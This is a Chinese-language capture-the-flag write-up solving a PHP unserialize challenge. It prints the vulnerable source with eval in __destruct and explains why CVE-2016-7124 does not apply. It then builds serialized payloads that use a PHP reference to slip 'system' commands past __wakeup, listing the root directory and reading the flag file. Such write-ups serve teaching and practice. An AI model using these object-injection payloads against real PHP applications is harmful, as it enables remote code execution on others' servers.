0x01 题目
0x02 解题
进入环境,获得源码:
<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
你输入的不正确!!!搞什么!!
审计源码,为php反序列化
这里首先想到的是利用CVE-2016-7124,后面发现不成功,看了下题目的环境:
题目为PHP 5.6.28
,而该漏洞利用的条件是
PHP5 <5.6.25
PHP7 < 7.0.10
那只能换一种思路。
题目中php函数的触发顺序为:
__construct() >> __wakeup() >> __destruct()
变量a
在wakeup中被置空了,所以在__destruct()
中想要执行提前构造好的a,只能利用
$this->b=$this->c;
这条语句,也就是将b
和a
“链接”起来:
$this->a=&this->b;
这样在a
被设置为空字符串之后,通过$this->b=$this->c;
重新赋予我们构造好的命令进行执行。
构造代码如下:
<?php
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a = &$this->b;
$this->c = "system('ls /');";
}
}
$a=new test();
echo serialize($a);
?>
传入参数a=
O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:15:"system('ls /');";}
得到:
bin boot dev etc fffffffffflagafag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
flag文件为fffffffffflagafag
所以最终exp为:
<?php
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a = &$this->b;
$this->c = "system('cat /fffffffffflagafag');";
}
}
$a=new test();
echo serialize($a);
?>
payload:
O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:33:"system('cat /fffffffffflagafag');";}